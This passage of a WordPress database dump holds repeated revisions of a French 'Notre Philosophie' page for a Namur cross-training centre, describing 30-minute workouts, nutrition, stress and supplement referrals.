spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:52:57', '2013-06-16 12:52:57', '', 5, 'http://www.crosstrainingcenter.be/?p=83', 0, 'revision', '', 0),
(84, 1, '2013-06-16 12:56:03', '2013-06-16 12:56:03', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:56:03', '2013-06-16 12:56:03', '', 5, 'http://www.crosstrainingcenter.be/?p=84', 0, 'revision', '', 0),
(85, 1, '2013-06-16 12:57:28', '2013-06-16 12:57:28', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:57:28', '2013-06-16 12:57:28', '', 5, 'http://www.crosstrainingcenter.be/?p=85', 0, 'revision', '', 0),
(86, 1, '2013-06-16 12:57:39', '2013-06-16 12:57:39', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:57:39', '2013-06-16 12:57:39', '', 5, 'http://www.crosstrainingcenter.be/?p=86', 0, 'revision', '', 0),
(88, 1, '2013-06-16 12:58:10', '2013-06-16 12:58:10', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:58:10', '2013-06-16 12:58:10', '', 5, 'http://www.crosstrainingcenter.be/?p=88', 0, 'revision', '', 0),
(87, 1, '2013-06-16 12:57:53', '2013-06-16 12:57:53', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:57:53', '2013-06-16 12:57:53', '', 5, 'http://www.crosstrainingcenter.be/?p=87', 0, 'revision', '', 0),
(89, 1, '2013-06-16 12:58:23', '2013-06-16 12:58:23', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:58:23', '2013-06-16 12:58:23', '', 5, 'http://www.crosstrainingcenter.be/?p=89', 0, 'revision', '', 0),
(102, 1, '2013-06-16 13:57:20', '2013-06-16 13:57:20', '', 'pico1', '', 'inherit', 'open', 'open', '', 'pico1', '', '', '2013-06-16 13:57:20', '2013-06-16 13:57:20', '', 5, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png', 0, 'attachment', 'image/png', 0),
(91, 1, '2013-06-16 12:58:34', '2013-06-16 12:58:34', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:58:34', '2013-06-16 12:58:34', '', 5, 'http://www.crosstrainingcenter.be/?p=91', 0, 'revision', '', 0),
(291, 1, '2013-07-04 18:52:09', '2013-07-04 18:52:09', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 18:52:09', '2013-07-04 18:52:09', '', 5, 'http://www.crosstrainingcenter.be/5-revision-37/', 0, 'revision', '', 0),
(293, 1, '2013-07-04 18:53:14', '2013-07-04 18:53:14', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 18:53:14', '2013-07-04 18:53:14', '', 5, 'http://www.crosstrainingcenter.be/5-revision-39/', 0, 'revision', '', 0),
(93, 1, '2013-06-16 13:08:28', '2013-06-16 13:08:28', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-90 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-292x300.png\&quot; width=\&quot;292\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:08:28', '2013-06-16 13:08:28', '', 5, 'http://www.crosstrainingcenter.be/?p=93', 0, 'revision', '', 0),
